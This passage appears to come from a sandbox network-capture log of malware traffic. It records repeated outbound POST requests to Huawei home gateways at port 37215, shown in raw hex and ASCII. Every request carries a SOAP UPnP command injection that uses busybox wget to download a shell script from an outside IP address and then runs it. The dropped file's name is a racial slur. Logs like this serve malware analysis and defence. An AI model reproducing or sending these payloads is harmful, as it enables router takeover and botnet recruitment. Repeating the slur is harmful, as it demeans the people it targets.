72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:20.493288040 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:25.868681908 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:36.363126040 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:58.888183117 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.23	53316	94.123.93.235	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:15.308720112 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:16.429966927 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:17.741801023 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:20.493315935 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:25.868669033 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 